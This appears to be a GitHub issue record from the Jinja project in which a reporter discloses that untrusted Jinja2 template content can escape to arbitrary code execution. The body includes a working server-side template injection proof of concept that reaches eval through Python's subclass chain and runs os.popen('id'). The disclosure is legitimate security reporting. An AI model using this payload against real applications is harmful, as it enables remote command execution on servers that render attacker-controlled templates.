{"action":"closed","issue":{"url":"https://api.github.com/repos/pallets/jinja/issues/549","repository_url":"https://api.github.com/repos/pallets/jinja","labels_url":"https://api.github.com/repos/pallets/jinja/issues/549/labels{/name}","comments_url":"https://api.github.com/repos/pallets/jinja/issues/549/comments","events_url":"https://api.github.com/repos/pallets/jinja/issues/549/events","html_url":"https://github.com/pallets/jinja/issues/549","id":135685433,"number":549,"title":"Execute arbitrary codes in template without sandbox environment.","user":{"login":"RickGray","id":7438663,"avatar_url":"https://avatars.githubusercontent.com/u/7438663?v=3","gravatar_id":"","url":"https://api.github.com/users/RickGray","html_url":"https://github.com/RickGray","followers_url":"https://api.github.com/users/RickGray/followers","following_url":"https://api.github.com/users/RickGray/following{/other_user}","gists_url":"https://api.github.com/users/RickGray/gists{/gist_id}","starred_url":"https://api.github.com/users/RickGray/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/RickGray/subscriptions","organizations_url":"https://api.github.com/users/RickGray/orgs","repos_url":"https://api.github.com/users/RickGray/repos","events_url":"https://api.github.com/users/RickGray/events{/privacy}","received_events_url":"https://api.github.com/users/RickGray/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","locked":false,"assignee":null,"milestone":null,"comments":6,"created_at":"2016-02-23T09:38:45Z","updated_at":"2016-04-12T19:47:08Z","closed_at":"2016-04-12T19:47:08Z","body":"When i use Jinja2 template framework in my project, i found a way to call \"os.popen('id')\" or another functions without global register. \r\nIt's easy to get shell when attacker can control the template content. Is that such a design?\r\n\r\nPoC:\r\n\r\n```python\r\nfrom jinja2 import Template\r\n    \r\ncontent = '''\r\n{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}\r\n{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}\r\n{% if 'eval' in b.keys() %}\r\n{{ b['eval']('__import__(\"os\").popen(\"id\").read()') }}\r\n{% endif %} {% endif %} {% endfor %}\r\n{% endif %} {% endfor %}\r\n'''\r\nprint Template(content).render()\r\n```\r\n\r\nI test this code with python2 (2.7.10) and Jinja2 (2.8), if it works will print your user's uid..."}}